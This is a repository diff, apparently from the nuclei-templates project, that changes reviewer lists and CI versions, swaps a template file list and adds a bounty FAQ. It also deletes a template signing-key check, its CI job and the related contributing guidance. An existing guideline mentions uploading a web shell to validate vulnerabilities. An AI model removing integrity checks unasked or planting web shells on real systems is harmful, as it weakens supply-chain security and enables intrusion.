Updated haproxy

2026-11-07 08:36:19 -10:00 · 2026-07-09 12:52:25 +04:00
5525 changed files with 26940 additions and 79622 deletions
@@ -7,6 +7,7 @@ addAssignees: false
 # A list of reviewers to be added to pull requests (GitHub user name)
 reviewers:
  - ritikchaddha
+  - pussycat0x
  - DhiyaneshGeek

 # A number of reviewers added to the pull request
@@ -15,6 +16,7 @@ numberOfReviewers: 1

 # A list of assignees, overrides reviewers if set
 assignees:
+  - pussycat0x
  - ritikchaddha
  - DhiyaneshGeek

@@ -7,8 +7,8 @@ password = sys.argv[3]

 repo_owner = "projectdiscovery"
 repo_name = "nuclei-templates"
-pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
-issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
+pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
+issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]

 headers = {'Authorization': f'Bearer {password}',
        'Accept': 'application/vnd.github+json',
@@ -1,101 +0,0 @@
-#!/usr/bin/env python3
-"""Fail if a code or javascript template is signed with a non-ProjectDiscovery key.
-
-Nuclei refuses to run code and javascript templates whose signature does not
-verify, and it also refuses to *re-sign* one that already carries a signature:
-
-    could not sign 'x.yaml': cause="re-signing code templates are not allowed
-    for security reasons."
-
-So a template contributed with the author's own signing key can never be picked
-up by the signing workflow. It stays permanently unrunnable, and because http
-and network templates only warn, the breakage is easy to miss. CVE-2025-71260
-sat broken from March 2026 until it was found by hand.
-
-The fix is always the same: drop the `# digest:` line so the signing workflow
-can apply the official key on the next push to main. This check catches it at
-review time instead.
-
-A template with no digest at all passes — that is the expected state for a new
-or freshly stripped template awaiting signing.
-"""
-
-import argparse
-import pathlib
-import re
-import subprocess
-import sys
-
-PD_KEY = "922c64590222798bb761d5b6d8e72950"
-ROOTS = ("code", "javascript")
-DIGEST = re.compile(r"^# digest:\s*(?P<sig>[0-9a-f]+):(?P<fp>[0-9a-f]+)\s*$")
-
-
-def fingerprint(path):
-    """Return the signing-key fingerprint of a template, or None when unsigned."""
-    try:
-        for line in reversed(path.read_text(encoding="utf-8", errors="replace").splitlines()):
-            if not line.strip():
-                continue
-            m = DIGEST.match(line)
-            return m.group("fp") if m else None
-    except OSError as e:
-        print(f"::warning file={path}::could not read: {e}")
-    return None
-
-
-def repo_root(explicit=None):
-    """Resolve the repo to scan: an explicit path, else git's toplevel, else cwd."""
-    if explicit:
-        return pathlib.Path(explicit).resolve()
-    try:
-        out = subprocess.run(["git", "rev-parse", "--show-toplevel"],
-                             capture_output=True, text=True, check=True).stdout.strip()
-        if out:
-            return pathlib.Path(out)
-    except (OSError, subprocess.CalledProcessError):
-        pass
-    return pathlib.Path.cwd()
-
-
-def main():
-    ap = argparse.ArgumentParser(description=__doc__)
-    ap.add_argument("--root", help="repo root to scan (default: git toplevel, else cwd)")
-    args = ap.parse_args()
-
-    repo = repo_root(args.root)
-    if not any((repo / r).is_dir() for r in ROOTS):
-        print(f"::error::no {' or '.join(ROOTS)} directory under {repo} — wrong root?")
-        return 1
-
-    offenders, checked = [], 0
-
-    for root in ROOTS:
-        for path in sorted((repo / root).rglob("*.yaml")):
-            checked += 1
-            fp = fingerprint(path)
-            if fp is not None and fp != PD_KEY:
-                rel = path.relative_to(repo)
-                offenders.append((rel, fp))
-                print(f"::error file={rel}::signed with {fp}, expected the "
-                      f"ProjectDiscovery key {PD_KEY}. Remove the '# digest:' line "
-                      f"so the signing workflow can re-sign this template.")
-
-    if offenders:
-        print(f"\n{len(offenders)} of {checked} template(s) carry a foreign signing key:\n")
-        for rel, fp in offenders:
-            print(f"  {rel}\n    key: {fp}")
-        print("\nNuclei will refuse to run these, and the signing workflow cannot "
-              "repair them while the signature is present. Delete the '# digest:' "
-              "line from each file:\n")
-        print("  sed -i '/^# digest:/d' \\\n    " +
-              " \\\n    ".join(str(rel) for rel, _ in offenders))
-        return 1
-
-    print(f"OK — all {checked} code/javascript templates are unsigned or signed "
-          f"with the ProjectDiscovery key.")
-    return 0
-
-
-if __name__ == "__main__":
-    sys.exit(main())
@@ -29,10 +29,10 @@ jobs:
            // ======= CONFIG: put your user pools here =======
            // Usernames must be GitHub logins and collaborators on this repo.
            const ISSUE_ASSIGNEES = [
-              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const REVIEW_POOL = [
-              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
            // ================================================
@@ -21,7 +21,7 @@ jobs:
          fetch-depth: 0

      - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
        with:
          python-version: '3.11'

@@ -15,7 +15,7 @@ jobs:
        uses: actions/checkout@v7

      - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
        with:
          python-version: '3.11'

@@ -15,7 +15,7 @@ jobs:
        uses: actions/checkout@v7

      - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
        with:
          python-version: '3.11'

@@ -14,7 +14,7 @@ jobs:
    steps:
      - run: sudo apt-get install tree -y
      - uses: actions/checkout@v7
-      - uses: actions/setup-python@v7
+      - uses: actions/setup-python@v6
        with:
          python-version: "3.8"
      - run: python .github/scripts/update-readme.py
@@ -6,16 +6,6 @@ on:
      - main
    paths:
      - '**.yaml'
-  # The EPSS and KEV jobs rewrite template YAML after signing, which invalidates
-  # every signature they touch. Their commits use GITHUB_TOKEN, so they cannot
-  # fire the push trigger above. workflow_run fires regardless of the actor, so
-  # signatures are restored as soon as those jobs finish.
-  workflow_run:
-    workflows:
-      - "📊 EPSS Score Update"
-      - "📋 KEV & vKEV Tag Update"
-    types:
-      - completed
  workflow_dispatch:

 jobs:
@@ -30,21 +30,6 @@ jobs:
      - name: Validate templates
        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

-  signing-key-check:
-    name: Signing Key Check
-    needs: lint
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    steps:
-      - uses: actions/checkout@v7
-      - uses: actions/setup-python@v7
-        with:
-          python-version: '3.11'
-      # A code/javascript template signed with a contributor's own key can never
-      # be re-signed by the signing workflow, so it stays permanently unrunnable.
-      - name: Check templates carry the ProjectDiscovery signing key
-        run: python .github/scripts/check-signing-key.py
-
  weak-matcher-checks:
    needs: lint
    runs-on: ubuntu-latest
@@ -13,7 +13,7 @@ jobs:
        uses: actions/checkout@v7

      - name: Install Python3
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
        with:
          python-version: "3.10"

@@ -1,87 +1,62 @@
-http/cves/2010/CVE-2010-1428.yaml
-http/cves/2023/CVE-2023-31719.yaml
-http/cves/2023/CVE-2023-54335.yaml
-http/cves/2024/CVE-2024-56829.yaml
-http/cves/2026/CVE-2026-102764.yaml
-http/cves/2026/CVE-2026-102782.yaml
-http/cves/2026/CVE-2026-102878.yaml
-http/cves/2026/CVE-2026-104736.yaml
-http/cves/2026/CVE-2026-105134.yaml
-http/cves/2026/CVE-2026-10525.yaml
-http/cves/2026/CVE-2026-105740.yaml
-http/cves/2026/CVE-2026-108123.yaml
-http/cves/2026/CVE-2026-109619.yaml
-http/cves/2026/CVE-2026-110447.yaml
-http/cves/2026/CVE-2026-112866.yaml
-http/cves/2026/CVE-2026-114509.yaml
-http/cves/2026/CVE-2026-115574.yaml
-http/cves/2026/CVE-2026-11565.yaml
-http/cves/2026/CVE-2026-115886.yaml
-http/cves/2026/CVE-2026-116006.yaml
-http/cves/2026/CVE-2026-116067.yaml
-http/cves/2026/CVE-2026-116070.yaml
-http/cves/2026/CVE-2026-116167.yaml
-http/cves/2026/CVE-2026-116205.yaml
-http/cves/2026/CVE-2026-116366.yaml
-http/cves/2026/CVE-2026-116485.yaml
-http/cves/2026/CVE-2026-116548.yaml
-http/cves/2026/CVE-2026-116690.yaml
-http/cves/2026/CVE-2026-116748.yaml
-http/cves/2026/CVE-2026-116817.yaml
-http/cves/2026/CVE-2026-118523.yaml
-http/cves/2026/CVE-2026-118539.yaml
-http/cves/2026/CVE-2026-119495.yaml
-http/cves/2026/CVE-2026-120201.yaml
-http/cves/2026/CVE-2026-120442.yaml
-http/cves/2026/CVE-2026-120446.yaml
-http/cves/2026/CVE-2026-120597.yaml
-http/cves/2026/CVE-2026-12583.yaml
-http/cves/2026/CVE-2026-12970.yaml
-http/cves/2026/CVE-2026-14554.yaml
-http/cves/2026/CVE-2026-16535.yaml
-http/cves/2026/CVE-2026-16959.yaml
-http/cves/2026/CVE-2026-17540.yaml
-http/cves/2026/CVE-2026-18051.yaml
-http/cves/2026/CVE-2026-18110.yaml
-http/cves/2026/CVE-2026-22777.yaml
-http/cves/2026/CVE-2026-24898.yaml
-http/cves/2026/CVE-2026-34151.yaml
-http/cves/2026/CVE-2026-48048.yaml
-http/cves/2026/CVE-2026-53468.yaml
-http/cves/2026/CVE-2026-54419.yaml
-http/cves/2026/CVE-2026-55864.yaml
-http/cves/2026/CVE-2026-56062.yaml
-http/cves/2026/CVE-2026-59707.yaml
-http/cves/2026/CVE-2026-75128.yaml
-http/cves/2026/CVE-2026-75650.yaml
-http/cves/2026/CVE-2026-7873.yaml
-http/cves/2026/CVE-2026-82901.yaml
-http/cves/2026/CVE-2026-85595.yaml
-http/cves/2026/CVE-2026-88804.yaml
-http/cves/2026/CVE-2026-89026.yaml
-http/cves/2026/CVE-2026-89079.yaml
-http/cves/2026/CVE-2026-9062.yaml
-http/cves/2026/CVE-2026-93485.yaml
-http/cves/2026/CVE-2026-96652.yaml
-http/cves/2026/CVE-2026-96655.yaml
-http/cves/2026/CVE-2026-97229.yaml
-http/cves/2026/CVE-2026-97359.yaml
-http/cves/2026/CVE-2026-9848.yaml
-http/default-logins/bwapp/bwapp-default-login.yaml
-http/default-logins/jboss/jboss-admin-console-default-login.yaml
-http/exposed-panels/coolify-panel.yaml
-http/exposed-panels/danfoss-ak-sm-800a-panel.yaml
-http/exposed-panels/infisical-panel.yaml
-http/exposed-panels/jboss/jboss-admin-console-panel.yaml
-http/exposed-panels/pocket-id-panel.yaml
-http/exposed-panels/tailscale-panel.yaml
-http/exposures/apis/prefect-api-exposure.yaml
-http/exposures/configs/lighter-config.yaml
-http/javascript/cves/2026/CVE-2026-111497.yaml
-http/misconfiguration/dvwa-setup.yaml
-http/technologies/opencloud-detect.yaml
-http/vulnerabilities/other/diafan-cms-xss.yaml
-http/vulnerabilities/other/nuuo-unauth-rce.yaml
-http/vulnerabilities/wordpress/elementor-rest-nonce-bypass.yaml
-http/vulnerabilities/wordpress/jetpack-reader-xss.yaml
-websocket/cves/2026/CVE-2026-102489.yaml
+dns/dns-internal-ip-disclosure.yaml
+http/cves/2026/CVE-2026-10823.yaml
+http/cves/2026/CVE-2026-13731.yaml
+http/cves/2026/CVE-2026-1890.yaml
+http/cves/2026/CVE-2026-22778.yaml
+http/cves/2026/CVE-2026-28496.yaml
+http/cves/2026/CVE-2026-30958.yaml
+http/cves/2026/CVE-2026-34413.yaml
+http/cves/2026/CVE-2026-48282.yaml
+http/cves/2026/CVE-2026-48313.yaml
+http/cves/2026/CVE-2026-48611.yaml
+http/cves/2026/CVE-2026-52815.yaml
+http/cves/2026/CVE-2026-56782.yaml
+http/cves/2026/CVE-2026-8037.yaml
+http/cves/2026/CVE-2026-8383.yaml
+http/cves/2026/cve-2026-44381.yaml
+http/default-logins/dahua/dahua-icc-default-login.yaml
+http/exposed-panels/array-networks-ssl-vpn-panel.yaml
+http/exposed-panels/aruba-via-vpn-panel.yaml
+http/exposed-panels/cradlepoint-gateway-panel.yaml
+http/exposed-panels/ctrlpanel-panel.yaml
+http/exposed-panels/cyberoam-firewall-panel.yaml
+http/exposed-panels/ddwrt-panel.yaml
+http/exposed-panels/ecessa-panel.yaml
+http/exposed-panels/elfiq-panel.yaml
+http/exposed-panels/endian-firewall-panel.yaml
+http/exposed-panels/featherpanel-panel.yaml
+http/exposed-panels/firemon-asset-manager-panel.yaml
+http/exposed-panels/fortinet-fortianalyzer-panel.yaml
+http/exposed-panels/headscale-panel.yaml
+http/exposed-panels/hillstone-ssl-vpn-panel.yaml
+http/exposed-panels/jotty-page-login-panel.yaml
+http/exposed-panels/netgate-pfsenseplus-panel.yaml
+http/exposed-panels/netsweeper-webadmin-panel.yaml
+http/exposed-panels/nuage-networks-vsp-panel.yaml
+http/exposed-panels/ocserv-panel.yaml
+http/exposed-panels/peplink-incontrol-panel.yaml
+http/exposed-panels/sangfor-iam-panel.yaml
+http/exposed-panels/sangfor-ngaf-panel.yaml
+http/exposed-panels/silver-peak-edgeconnect-panel.yaml
+http/exposed-panels/sma-opcon-panel.yaml
+http/exposed-panels/smoothwall-firewall-panel.yaml
+http/exposed-panels/sonicwall-analytics-panel.yaml
+http/exposed-panels/sophos-utm-panel.yaml
+http/exposed-panels/stormshield-network-security-panel.yaml
+http/exposed-panels/thegreenbowvpn-panel.yaml
+http/exposed-panels/trend-micro-deep-security-panel.yaml
+http/exposed-panels/ubiquiti-edgerouter-panel.yaml
+http/exposed-panels/unifi-securitygateway-panel.yaml
+http/exposed-panels/wg-easy-panel.yaml
+http/exposed-panels/zywall-usg-panel.yaml
+http/iot/openremote-detect.yaml
+http/misconfiguration/installer/ctrlpanel-installer.yaml
+http/misconfiguration/marimo-auth-bypass.yaml
+http/takeovers/godaddy-parked-domain.yaml
+http/technologies/google-iap-detect.yaml
+http/technologies/tibco-businessworks-detect.yaml
+http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
+http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
+http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
+javascript/cves/2025/CVE-2025-29635.yaml
+network/misconfig/open-socks-proxy.yaml
@@ -8,7 +8,6 @@ This documentation contains a set of guidelines to help you during the contribut
 ## **How Can I Contribute?**

 - [Submitting Nuclei Templates](#Submitting-Nuclei-Templates)
- [Template Signing and the # digest Line](#template-signing-and-the-digest-line)
 - [Reporting False Negative Template](#Reporting-False-Positive-Template)
 - [Reporting False Positive Template](#Reporting-False-Positive-Template)
 - [Enhancing existing templates](#Enhancing-existing-templates)
@@ -39,7 +38,6 @@ Along with the P.O.C following are the required fields in the info section for s
 - Make sure to add more than one matcher to prevent false positive results. Avoid short word that could be encountered anywhere
 - If possible submit the vulnerable environment based on docker-compose. For example: https://github.com/vulhub/vulhub.
 - We only accept templates with complete P.O.Cs instead of just detection based on version
- Keep existing `# digest:` lines intact when updating templates — the repository signing workflow will automatically regenerate signatures upon merge

 **Don’t**

@@ -47,7 +45,6 @@ Along with the P.O.C following are the required fields in the info section for s
 - Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
 - Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
 - Try to keep the requests per template as low as possible
- Don't delete or manually edit the `# digest:` line, and do not sign templates with personal keys

 **Best Practices**

@@ -61,19 +58,6 @@ Along with the P.O.C following are the required fields in the info section for s
 - We should only upload a web shell as a last resort to validate the vulnerability, and if we do upload a file, make sure the file name is random(`{{randstr}}`)
 - Do not include code templates for exploits that can be written using HTTP or JavaScript. We avoid adding additional exploit code to the project unless there is an exception.

-### **Template Signing and the `# digest:` Line**
-
-Official templates in this repository include a trailing `# digest:` line (for example, `# digest: 4a0a...:922c...`). This is an automated cryptographic signature and public-key fingerprint used by Nuclei to verify template integrity and authenticity.
-
- **What it is**: It is an automated signature marker generated by ProjectDiscovery, not a comment or obsolete metadata.
- **Do not edit or delete it**: When updating existing templates, leave the existing `# digest:` line as-is. Do not hand-edit or remove it.
- **Automated Signing**: When a pull request is merged into `main`, the automated **Template Sign** workflow automatically calculates and updates the signature for all modified templates using ProjectDiscovery's official signing key.
- **New Templates**: New templates should be submitted without any `# digest:` line. They will be signed automatically upon merge.
- **Do not sign with personal keys**: Never sign contributed templates with your own private key. Specifically, `code` and `javascript` templates signed with non-ProjectDiscovery keys will fail CI validation (`Signing Key Check`) because Nuclei restricts re-signing code protocol templates for security reasons.
- **Signature verification at scan time**:
-  - For standard protocols (`http`, `dns`, `network`, etc.), Nuclei verifies signatures against trusted keys and displays a warning if a template is unsigned or modified.
-  - For `code` and `javascript` protocols, valid signatures from trusted keys are mandatory for security. Nuclei will refuse to execute untrusted or improperly signed code templates by default.
-
 ### **Submitting a PR**

 **Fork the Project**
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":7178},{"name":"cve","count":4605},{"name":"discovery","count":3887},{"name":"vkev","count":2006},{"name":"wordpress","count":1750},{"name":"panel","count":1637},{"name":"wp-plugin","count":1555},{"name":"exposure","count":1513},{"name":"xss","count":1429},{"name":"tech","count":1219},{"name":"osint","count":1131},{"name":"rce","count":1078},{"name":"detect","count":1076},{"name":"misconfig","count":1010},{"name":"wp","count":966},{"name":"lfi","count":898},{"name":"unauth","count":809},{"name":"devops","count":755},{"name":"cloud","count":720},{"name":"intrusive","count":639},{"name":"cve2024","count":628},{"name":"sqli","count":617},{"name":"edb","count":597},{"name":"wpscan","count":596},{"name":"cve2021","count":592},{"name":"authenticated","count":576},{"name":"kev","count":573},{"name":"cve2022","count":571},{"name":"cve2023","count":570},{"name":"login","count":562},{"name":"packetstorm","count":551},{"name":"cve2026","count":482},{"name":"cve2025","count":435},{"name":"network","count":404},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"oast","count":388},{"name":"default-login","count":348},{"name":"auth-bypass","count":337},{"name":"config","count":331},{"name":"cve2020","count":328},{"name":"apache","count":292},{"name":"tcp","count":279},{"name":"microsoft","count":260},{"name":"iot","count":249},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":227},{"name":"gcloud","count":226},{"name":"cve2019","count":226},{"name":"","count":219},{"name":"ssrf","count":215},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"cve2018","count":203},{"name":"aws","count":199},{"name":"time-based-sqli","count":199},{"name":"code","count":193},{"name":"csp-bypass","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":176},{"name":"ai","count":170},{"name":"disclosure","count":168},{"name":"security","count":166},{"name":"joomla","count":164},{"name":"keys","count":159},{"name":"cms","count":156},{"name":"linux","count":155},{"name":"local","count":155},{"name":"aws-cloud-config","count":147},{"name":"router","count":146},{"name":"file-upload","count":139},{"name":"ftp","count":138},{"name":"audit","count":136},{"name":"files","count":136},{"name":"cve2017","count":133},{"name":"kubernetes","count":122},{"name":"js","count":119},{"name":"cve2010","count":116},{"name":"passive","count":113},{"name":"fpd","count":108},{"name":"oss","count":103},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":99},{"name":"windows-audit","count":95},{"name":"privesc","count":93},{"name":"traversal","count":93},{"name":"oracle","count":92},{"name":"enum","count":91},{"name":"cisco","count":90},{"name":"seclists","count":88},{"name":"windows","count":86},{"name":"takeover","count":84},{"name":"deserialization","count":82},{"name":"fileupload","count":80},{"name":"ics","count":78},{"name":"adobe","count":77},{"name":"k8s","count":77},{"name":"detection","count":73},{"name":"google","count":68},{"name":"vmware","count":68},{"name":"oob","count":67},{"name":"cve2015","count":67},{"name":"php","count":67},{"name":"logs","count":67},{"name":"atlassian","count":66},{"name":"api","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"vpn","count":64},{"name":"alibaba","count":64},{"name":"ir","count":63},{"name":"c2","count":63},{"name":"dast","count":59},{"name":"ssh","count":59},{"name":"injection","count":55},{"name":"cve2014","count":55},{"name":"ssti","count":54},{"name":"firewall","count":54},{"name":"llm","count":54},{"name":"fortinet","count":54},{"name":"sap","count":53},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"plugin","count":52},{"name":"ibm","count":52},{"name":"generic","count":50},{"name":"ecommerce","count":50},{"name":"tenable","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":49},{"name":"xxe","count":49},{"name":"dns","count":48},{"name":"log4j","count":48},{"name":"vulhub","count":47},{"name":"info-leak","count":47},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"jndi","count":46},{"name":"postgresql","count":46},{"name":"springboot","count":46},{"name":"aliyun","count":45},{"name":"ssl","count":45},{"name":"dashboard","count":45},{"name":"kisa","count":44},{"name":"listing","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"tls","count":43},{"name":"scada","count":43},{"name":"bank","count":42},{"name":"k8s-cluster-security","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"woocommerce","count":40},{"name":"jira","count":40},{"name":"dlink","count":40},{"name":"gitlab","count":39},{"name":"devsecops","count":39},{"name":"backup","countLine truncated
+{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  7178 | dhiyaneshdk   |  2175 | http       | 11718 | info     |  5388 | file |   447 |
-| cve       |  4605 | rxerium       |   961 | cloud      |   663 | high     |  3044 | dns  |    34 |
-| discovery |  3887 | daffainfo     |   950 | file       |   447 | medium   |  2869 |      |       |
-| vkev      |  2006 | princechaddha |   872 | code       |   304 | critical |  2017 |      |       |
-| wordpress |  1750 | dwisiswant0   |   807 | network    |   287 | low      |   520 |      |       |
-| panel     |  1637 | pussycat0x    |   802 | dast       |   251 | unknown  |    59 |      |       |
-| wp-plugin |  1555 | ritikchaddha  |   789 | workflows  |   207 |          |       |      |       |
-| exposure  |  1513 | 0x_akoko      |   487 | javascript |   133 |          |       |      |       |
-| xss       |  1429 | theamanrawat  |   355 | ssl        |    39 |          |       |      |       |
-| tech      |  1219 | pikpikcu      |   353 | dns        |    31 |          |       |      |       |
+| vuln      |  6626 | dhiyaneshdk   |  2114 | http       | 10970 | info     |  5013 | file |   447 |
+| cve       |  4283 | daffainfo     |   949 | cloud      |   663 | high     |  2915 | dns  |    33 |
+| discovery |  3729 | princechaddha |   867 | file       |   447 | medium   |  2803 |      |       |
+| vkev      |  1795 | dwisiswant0   |   807 | code       |   288 | critical |  1820 |      |       |
+| wordpress |  1656 | pussycat0x    |   797 | network    |   280 | low      |   504 |      |       |
+| panel     |  1537 | ritikchaddha  |   779 | dast       |   249 | unknown  |    58 |      |       |
+| wp-plugin |  1473 | rxerium       |   644 | workflows  |   207 |          |       |      |       |
+| exposure  |  1456 | 0x_akoko      |   417 | javascript |   124 |          |       |      |       |
+| xss       |  1409 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
+| osint     |  1131 | theamanrawat  |   343 | dns        |    30 |          |       |      |       |
@@ -0,0 +1,81 @@
+# Nuclei Templates Bounty - FAQ
+
+## What is the purpose of this bounty program?
+The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
+
+## What are the bounty ranges for template submissions?
+Bounties range from **$50 to $250**, depending on the complexity of the template and the effort required.
+
+## Where can I find bounty issues?
+Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
+
+## What is the acceptance criteria for templates?
+The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
+
+Templates must meet the following criteria:
+1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
+2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
+3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
+4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
+5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
+6. **Accurate Matchers**: Use strong matchers to avoid false positives.
+
+> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
+
+## How do I start working on a bounty issue?
+1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
+2. **Declare Work**: Comment with `/attempt #<issue_number>` to claim the issue.
+3. **Submit Work**: Submit your pull request with `/claim #<issue_number>` in the PR description when ready.
+
+## How often are new bounty issues added?
+We add new bounty issues on a **weekly basis**, so make sure to check back regularly for fresh opportunities. In the future, you can expect many more bounty issues as the program expands, allowing more opportunities for contributors to participate and earn rewards.
+
+## Can I collaborate with others?
+Yes, you can collaborate with other contributors and split rewards by commenting:
+```
+/claim #<issue_number>
+/split @contributor1
+/split @contributor2
